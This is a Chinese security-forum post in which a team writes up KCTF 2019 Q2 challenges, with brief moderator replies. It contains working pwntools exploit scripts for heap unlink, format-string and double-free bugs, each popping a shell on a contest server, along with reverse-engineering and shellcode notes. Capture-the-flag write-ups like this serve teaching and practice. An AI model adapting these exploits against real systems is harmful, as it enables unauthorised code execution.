首页
社区
课程
招聘
[原创] KCTF 2019 Q2 SU战队 Writeup(代学弟发,全队莫得雪币)
发表于: 2019-6-24 13:01 4941

[原创] KCTF 2019 Q2 SU战队 Writeup(代学弟发,全队莫得雪币)

2019-6-24 13:01
4941

1-神秘来信(RE)

异常处理,flag为一个地址的字符串形式

2-沉睡的敦煌(PWN)

两次edit机会,应该是unlink
堆区写上指针,offbyone修改堆头后unlink,之后修改isadmin,拿到leak。。

from pwn import *
context.arch = 'amd64'
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libc-2.27.so")
#io = process("./pwn")
io= remote("152.136.18.34",10001)
def ch(c):
    io.sendlineafter("4.show\n",str(c))
def add(idx,data):
    ch(1)
    io.sendlineafter("index:\n",str(idx))
    io.recvuntil(": ")
    leak = int(io.recvuntil("\n").strip(),16)
    io.sendafter("content:\n",data)
    return leak
def rmv(idx):
    ch(2)
    io.sendlineafter("index:\n",str(idx))
def chg(idx,data):
    ch(3)
    io.sendlineafter("index:\n",str(idx))
    io.sendafter("content:\n",data)
def see(idx):
    ch(4)
    io.sendlineafter("index:\n",str(idx))

hbase = add(0x18,'0000')&0xfffffffff000
info("HBASE -> %#x"%hbase)
for i in range(0x18):
    add(i,'/bin/sh\x00')
rmv(0x18)
add(0x18,p64(0)+p64(0x81)+p64(0x404140-0x18)+p64(0x404140-0x10))
rmv(1)
add(1,'\x00'*0x20+p64(0x80)+'\x90')

for i in range(15,3,-1):
    rmv(i)
    add(i,'\x00'*0x28+'\x91')
rmv(11)
rmv(10)
rmv(9)
rmv(8)
rmv(7)
rmv(6)
rmv(5)
rmv(2)
chg(0x18,p64(0x404188))
chg(0x15,p64(0xffffffffffffff))
chg(0x18,p64(0x404060))
chg(0x15,p64(0xfffffffff000))
chg(0x18,p64(0x404040))
see(0x15)
lbase = u64(io.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stderr_']
info("LBASE -> %#x"%lbase)
chg(0x18,p64(lbase+libc.sym['__free_hook']))
chg(0x15,p64(lbase+libc.sym['system']))
rmv(0x17)
io.interactive()

听说出题人改题了?

只edit一次的话,也有思路的,一共两种
1.在拿到unlink之后使用一次edit编辑堆区内容,造两根指针指向堆区同一块fake chunk,然后free、add修改其他正常tcache的next指针和下一堆块的堆头(改大size),造个loop出来,把tcache0x30的count减到ff,然后free下一堆块拿到unsorted bin,再来一发unsorted bin attack干掉chglimit和isadmin 之后就和原来的打法一样 完事儿
2.bss写个假头 bss-heap大小就行

3-金字塔的诅咒(PWN)

bss的fsb 把one_gadget写栈上

from pwn import *
context.arch = 'i386'

#libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def fuck(payload):
    io.sendlineafter("Choice:","1")
    io.sendafter("say:",payload)

one = 0x3a80e#libc.sym["system"]

while True:
    while True:
        #io = process("./format")
        io = remote("152.136.18.34",9999)
        leak = fuck("%p"*12)
        io.recvuntil("0x180x40x")
        pbase = int(io.recv(8),16)-0x8f3
        io.recvuntil("0x10x")
        sbase = int(io.recv(8),16)
        io.recvuntil("(nil)(nil)0x")
        lbase = int(io.recv(8),16)-(0xf7577637-0xf755f000)
        info("SBASE -> %#x\nLBASE -> %#x\nPBASE -> %#x"%(sbase,lbase,pbase))
        fuck("\x00"*23)

        fp = "%"+str((sbase-0x98)&0xffff)+"c%17$hn"
        fuck(fp)
        fuck("\x00"*23)

        fp = "%"+str((lbase+one)&0xffff)+"c%53$hn"
        fuck(fp)
        fuck("\x00"*23)

        fp = "%"+str((sbase-0x96)&0xff)+"c%17$hhn"
        fuck(fp)
        fuck("\x00"*23)
        fp = "%"+str(((lbase+one)&0xff0000)>>16)+"c%53$hhn"
        fuck(fp)
        fuck("\x00"*23)
        '''
        fp = "%"+str((sbase-(0xfff250e4-0xfff25040))&0xffff)+"c%17$hn"
        fuck(fp);info("1")
        fuck("\x00"*23)
        fp = "%"+str((lbase+libc.sym['__free_hook'])&0xffff)+"c%53$hn"
        fuck(fp);info("2")
        fuck("\x00"*23)
        fp = "%"+str((lbase+one)&0xff)+"c%12$hhn"
        fuck(fp);info("3")
        fuck("\x00"*23)
        fp = "%"+str((lbase+libc.sym['__free_hook']+1)&0xff)+"c%53$hhn"
        fuck(fp);info("4")
        fuck("\x00"*23)
        fp = "%"+str(((lbase+one)&0xff00)>>8)+"c%12$hhn"
        fuck(fp);info("5")
        fuck("\x00"*23)
        fp = "%"+str((lbase+libc.sym['__free_hook']+2)&0xff)+"c%53$hhn"
        fuck(fp);info("6")
        fuck("\x00"*23)
        fp = "%"+str(((lbase+one)&0xff0000)>>16)+"c%12$hhn"
        fuck(fp);info("7")
        fuck("\x00"*23)
        fp = "%"+str((lbase+libc.sym['__free_hook']+3)&0xff)+"c%53$hhn"
        fuck(fp);info("8")
        fuck("\x00"*23)
        fp = "%"+str(((lbase+one)&0xff000000)>>24)+"c%12$hhn"
        fuck(fp);info("9")

        fuck("$0%65505c")
        '''
        #gdb.attach(io,"b *%#x+0x985"%pbase)
        io.interactive()
        raw_input()

4-达芬奇密码(RE)

VirtualAlloc把data段的数据整成了函数,整理出来是个异或+方程
输入16字节,前八字节为X,后八字节为Y,方程为X**2-7*Y**2=8(最低位差为8,其余位相同,忽略发生进位的1/32概率)

from z3 import *
v30 = [0x16,0x96,0x8C,0xE3,0x81,0x98,0x6E,0x64,0x84,0x08,0xDC,0x81,0xBE,0x4D,0x48,0x4F]
s = Solver()

message = [BitVec('VAR%d' % i,128) for i in range(2)]
s.add((message[0]>>64)== 0)
s.add((message[1]>>64)== 0)
#vv = BitVecVal(0,128)
vv = message[0]*message[0]
#vv1 = BitVecVal(0,128)
vv1 = 7*message[1]*message[1]
print vv,vv1
s.add(vv-vv1== 8)
s.add(((vv&0xff)-(vv1&0xff))==8)

s.add(((message[0]>>56)&0xff) <= 0x0f)
for i in range(8):
    s.add(((message[0] >> (8*i)) & 0xff) ^ v30[i] > 0x20)
    s.add(((message[0] >> (8*i)) & 0xff) ^ v30[i] < 0x7E)
    s.add(((message[1] >> (8*i)) & 0xff) ^ v30[8+i] > 0x20)
    s.add(((message[1] >> (8*i)) & 0xff) ^ v30[8+i] < 0x7E)
print s.check()
print s.model()

然而z3是解不出来的

 

Wolfram计算得到通解公式

又X和Y应为64bits,故n<16 ,算出所有可能解

一个一个试orz。。最后发现是倒数第二组解,再回头异或,得到flag L3mZ2k9aZ0a36DMM

5-丛林的秘密(Android)

安卓,so,解密发现一个html,内嵌wasm,逆向wasm,解方程,xor

6-消失的岛屿(RE)

两次单表替换的base64

7-部落冲突(RE)(没做出来)

自写的cxk0壳

 

通过PEB获得kernel32.dll的地址,然后根据函数名称,从dll中拿到了一堆函数的地址,放在栈内备用,拿到了许多的反调试相关的函数,

CreateDecompressor
Decompress
Cabinet
CheckRemoteDebuggerPresent
GetCurrentProcess
IsDebuggerPresent
GetProcAddress
CreateMutexA
LoadLibraryA
VirtualAlloc
ExitProcess
CreateFileA
DeleteFileA

大概就是上面这堆,开始了第一次函数调用
kernel32_CreateMutexA,传入的是kernel32_CreateMutexA(0,0,"lyd");感觉是防止多开爆破使用的函数
然后执行kernel32_IsDebuggerPresent,直接干掉,然后紧接着又是CheckRemoteDebuggerPresent
过了连个反调试以后,程序继续读入了自身的Procbase,拿到了蔡徐坤0号的地址,紧接着程序新建了一个名为-的文件,然后继续执行反调试函数,直接干掉

 

后面程序拿到了SH_LYD和cxk1的addr,其中cxk1内有数据,然后拿到了一个地址4D0824,跟过去看了一下,好像是一个现成的exe文件的魔数。有趣的地方开始了,跟到了解码的地方,smc,xor解密,过循环康康。
解密出了一个exe文件,dump出来,发现内容中存在运行时打印的东西,但是dump有了一些问题,无法运行,先继续跟初始题目文件。最后的调用中,又拿到了一堆函数

GetProcAddress
VirtualProtect
LoadLibraryA
VirtualAlloc
GetTickCount
ExitProcess
MessageBoxA
user32

加载了user32库,拿到MessageBoxA的地址,直接跳过这个函数,感觉这个函数是在初始化第二个文件的文件头,但是运行后dump再打开,发现依旧不能运行,打开后也有许多相对的地址调用,同时在解密出的文件中,也可以看到遍历调试器的操作,感觉就是在这个里面,这个函数的返回值是即将跳转的地方,然后继续跟进,发现跳到了一个有奇怪指令的cxk0里面。对文件进行分析,大概看到了一些浮点运算和crc32的运算,同时也有输入转到内存的运算
cxk0运行报错,换一下OD查一下是否触发了什么其他地方的函数,怀疑存在动态反调试,将程序带到了另一个地方。
函数内部读取了DOS头和head,然后按页加载了一些东西,同时函数中存在好多个gadget,xxxret这种,依次alloc后将机器码复制进去,两次大循环,依次进行拿到了KERNEL32.dll和USER32.dll,看了下421000,421140,已经被初始化了,里面有好多个地址,跟进去看了一下,发现是dll中的一些函数的地址,每次运行这些都会ret一个不同函数的地址
前面的函数都没有发现什么奇怪的地方,跟到了sub_4CFD74,感觉会有坑
sub_4021C0
sub_4011D0 antidbg
-----------------壳脱好了---------------

 

输入字节转数据然后sprintf再次转字节,保证输入都是大写,输入的长度必须大于6,然后每两个一组,作为步数

 

验证crc32 ,初始值0xACF7F7C7,后面都是116轮,0x1B0184E6,0x27D3DD3A
算法链接
要求步数为0,算了一下生成规则,不是常见的规则

 

算法不会逆。。。感觉要开始猜了
参考Riatre的猜法 https://bbs.pediy.com/thread-248426.htm

 

随机数生成器是Marsaglia’s MWC algorithm
对于0x0124292B这个seed,周期5亿多
但是有的种子可能回不来
参考一个Paper,https://arxiv.org/pdf/1201.3016.pdf
还是不会

8-迷雾中的琴声(RE) (没做出来)

限制输入长度0x20的hex字符串
unhexlify之后和0C1F070A093617000F071A78206E4FE9进行异或
设Semaphore信号上限5,开5个Thread跑enc
enc是查表法实现的CRC
每次都会生成一样的码表 起始地址40402c

0x67, 0x45, 0x23, 0x01, 0x14, 0x6C, 0x23, 0x01, 0x67, 0x45,
0x23, 0x01, 0x67, 0x45, 0x23, 0x01, 0x67, 0x45, 0x23, 0x01,
0xB7, 0x1D, 0xC1, 0x04, 0x0A, 0xF7, 0xC0, 0x04, 0xB7, 0x1D,
0xC1, 0x04, 0xB7, 0x1D, 0xC1, 0x04, 0xB7, 0x1D, 0xC1, 0x04,
0xDB, 0x8E, 0x60, 0x82, 0xDB, 0x8E, 0x60, 0x82, 0xDB, 0x8E,
0x60, 0x82, 0xDB, 0x8E, 0x60, 0x82, 0xDB, 0x8E, 0x60, 0x82,
0x98, 0xBA, 0xDC, 0xFE, 0xB8, 0xA8, 0xDC, 0xFE, 0x98, 0xBA,
0xDC, 0xFE, 0x98, 0xBA, 0xDC, 0xFE, 0x98, 0xBA, 0xDC, 0xFE,
0x20, 0x83, 0xB8, 0xED, 0x73, 0x5C, 0xB8, 0xED, 0x20, 0x83,
0xB8, 0xED, 0x20, 0x83, 0xB8, 0xED, 0x20, 0x83, 0xB8, 0xED

魔改crc修正str内容,作为shellcode被执行,此外str还需要经过一个hashcheck
要写一个能弹出Win的shellcode,或者是把错误弹窗的文本改成Win然后跳回去

 

最后的check逆出来了,有很多的解

#include <cstdio>
#include <cstring>
#include <cstdlib>


unsigned long long calc_fsr(unsigned long long tql) {
    unsigned long long mask = 0x00000C0000018000uLL;
    for (int i = 0; i < 64; i++) {
        if (tql & 0x8000000000000000uLL) {
            tql ^= mask;
            //printf("1");
        } //else printf("0");
        tql = tql << 1;
        //printf("%llx\n", tql);
    }
    //printf("\n");
    return tql;
}


unsigned long long reverse_fsr(unsigned long long tql) {
    unsigned long long mask = 0x00000C0000018000uLL;
    unsigned long long state = 0;
    for (int i = 0; i < 64; i++) {
        state = (state >> 1) + (tql << 63);
        if (tql & 1) {
            state ^= mask;
        }
        tql >>= 1;
    }
    return state;
}


// c7 45 00  57 69 6e 00 6a 00 55 55 e9 1a ce ff ff
int main() {

//    unsigned int x = 0x38b0000;
//    unsigned int y = 0xb2a289cf;
    printf("%llx\n", calc_fsr(0x1234567812345678uLL));
    printf("\n");
    unsigned long long tql = 0xb2a289cf038b0000uLL;
    unsigned long long tttql = tql;
    unsigned long long tcl = 0;
    unsigned long long base = 0x1uLL;
    unsigned long long mask = 0x00000C0000018000uLL;
    unsigned long long mmmask = 0;
    unsigned long long gg = 0;
    unsigned long long tttcl = 0x8000uLL;
    for (int i = 0; i < 48; i++) {
        if (((tql >> 1) & tttcl) == 0) {
            tcl += 0;
            tql = tql >> 1;
        } else {
            tcl += base;
            tql = (tql >> 1) + 0x8000000000000000uLL;
            tql = tql ^ mask;
            mmmask ^= mask;
        }
        base = base << 1;



    }
    tcl = tcl & 0xFFFFFFFFFFFFuLL;
    tql = 0xb2a289cf038b0000uLL;
    for (unsigned long long i = 0; i < 0x10000; i++) {
        tttcl = (i << 48) + tcl;
        if (calc_fsr(reverse_fsr(tttcl)) == tql) {
            printf("%llx %llx\n", reverse_fsr(tttcl), calc_fsr(reverse_fsr(tttcl)));
        }
    }

}

需要提前写一些可能的shellcode,看看哪个能过校验
这个。。。实现方式有点多啊。。。
mov [ebp], 'Win'; push 0 push ebp push ebp jmp刚好,但是过不了check
mov Text,'\x00niW';push ...;ret;
\xc7\x05\x80\x3e\x40\x00\x00\x6e\x69\x57\xe9 \x68\x5B\x12\x40\x00 \xC3 16bytes (空格隔开的可以改成其他地址)
布星啊。。。

 

题目判犯规了,GG

9-绝地逃生(PWN)

利用多线程去leak出libc地址,具体就是利用250-255之间的线程会使得idx加一最后回绕导致0被free的原理leak出地址。接着直接double free写free_hook为system即可。

from pwn import *

def malloc(idx,size,data):
    io.sendlineafter(">>>",'1')
    io.sendlineafter(":",str(idx))
    io.sendlineafter(":",str(size))
    io.sendafter(":",data)

def free(idx,worker):
    io.sendlineafter(">>>",'2')
    io.sendlineafter(":",idx)
    io.sendlineafter(":",str(worker))

def puts(idx):
    io.sendlineafter(">>>",'3')
    io.sendlineafter(": ",str(idx))
    return io.recvline()[:-1]

#io = process("./fastheap")
io = remote("152.136.18.34",10000)
#gdb.attach(io)
context.log_level="debug"
malloc(0,0x90,p64(0)+'\n')
for i in range(1,0x100):
    malloc(i,0x60,'aaai\n')

free('250-255',2)
#malloc(1,0x60,p64(0)+'\n')
#malloc(2,0x60,p64(0)+'\n')
libc = u64(puts(0).ljust(8,'\0'))-0x3ebca0
free('2-3',1)
malloc(2,0x60,p64(libc+0x3ed8e8)+'\n')
malloc(250,0x60,'/bin/sh\n')
malloc(251,0x60,'/bin/sh\n')
malloc(252,0x60,p64(libc+0x4f440)+'\n')
print hex(libc)
free("250-252",2)
io.interactive()

10-时间之门(RE)

Windows逆向,获取输入的Flag,长度6到145
形式为part1XXXXpart2,part2要全是数字
然后转成3个大数结构体,part1 256进制,part2 10进制,还有一个它给的十进制数,进404270这个函数Check
3个数字转换成256进制大整数结构体
part1 256进制 -> a,part2 十进制 = b
a加了0xA
保存了一个数组,

(b - a) ** n % 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffed, n=0,1,2,3,4,5

然后算了一个

x = (64*(b-a)**4 + (b-a)**2 + 3) % m,

m就是上面那个7f……
然后用a减了一下x,y=a-x,需要这个y是个零,就是a==x

 

先手动过掉,看看后面干啥了
a的字符集范围是A到Z
a的最后一字节加了0xA
翻过来读了a的每一个字节,做了如下的一个映射

F: {A, B, ..., Z} -> {   0,   1,   2,   3,   4,  5,   6,   7,  10,   9,   8,  11,  12,  13,  14,  15,  16,  17,  18,  19,  20,  21,  22,  25,  23,  24}

把这个数字拿了出来,然后循环这样乘

x = 0
for i in xrange(len(a)):
    x = x * 0x19 + F(a[i]) # 这里的a是反的

实际上这个东西就是在算一个25进制数
a长度小于等于10个字节
然后要求这个x没有小于0x1000的素因子

 

这个也可以跳掉
然后check了前面那个x
求了这个x对m-1的逆元gg
求了powmod(a_num, gg, m),要求这个等于b_num
求了powmod(b_num, x, m),要求这个等于a_num
这两个只要一个成立。。。
这两个奇怪的num是随机选的,所以应该对4个数都成立,需要找一找

{a_num: b_num} = {

100: 9230197858975018299629857977411527954550899478307510809210520967346958600039,

101: 50414221767352083765613498524674590844333823720255656432490557866777248860034,

102:
38377684164112914669201831650756813551072223314592288217929947158283532270268,

103:
13436195533519778671648120865743178010431697022400670384909515001970400645091

}

那么就是解离散对数了,上个Sage
有一个东西叫Discrete log lambda,如果知道离散对数的范围,可以以O(根号(max-min))的复杂度算出来
因为是25进制的最多10位数,所以范围是有的
大概几十秒,算出来了

79821823136933

转成25进制字符串

-> KCTFREADYU

加那个0xA

-> KCTFREADYK

以256进制换成数字

-> 355419490699766887897429

带进方程,可以解了

(64*(b-355419490699766887897429)**4 + (b-355419490699766887897429)**2 + 3) mod 57896044618658097711785492504343953926634992332820282019728792003956564819949 == 355419490699766887897429

解出来

b=1548396171915056368526513804948765619094392315806578461796159505215278288254

回去验算,成功


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-6-24 13:03 被acdxvfsvd编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
 要不让你学弟重发一下?
论坛首页签到一下就有雪币,不然设置精华,会给rank以及雪币。
此帖暂不设精华优秀,你学弟发好回帖告知一下
2019-6-24 18:12
0
雪    币: 2507
活跃值: (553)
能力值: ( LV15,RANK:1033 )
在线值:
发帖
回帖
粉丝
3
kanxue 要不让你学弟重发一下? 论坛首页签到一下就有雪币,不然设置精华,会给rank以及雪币。 此帖暂不设精华优秀,你学弟发好回帖告知一下
已发 https://bbs.pediy.com/thread-252224.htm
此贴可删
2019-6-25 10:16
0
雪    币: 8209
活跃值: (4518)
能力值: ( LV15,RANK:2473 )
在线值:
发帖
回帖
粉丝
4
是不是可以增加个提交ctf答案通过就自动获取5个雪币,就不会尴尬了
2019-6-25 13:06
0
雪    币: 10845
活跃值: (1054)
能力值: (RANK:190 )
在线值:
发帖
回帖
粉丝
5
如果第8题没有被提前判违规,再努努力,说不定能解出来呢
2019-6-25 13:30
0
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
6
ccfer 是不是可以增加个提交ctf答案通过就自动获取5个雪币,就不会尴尬了
好主意。
2019-6-25 21:07
0
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
7
此帖关闭,要讨论请移步:https://bbs.pediy.com/thread-252224.htm
2019-6-25 21:08
0
游客
登录 | 注册 方可回帖
返回
//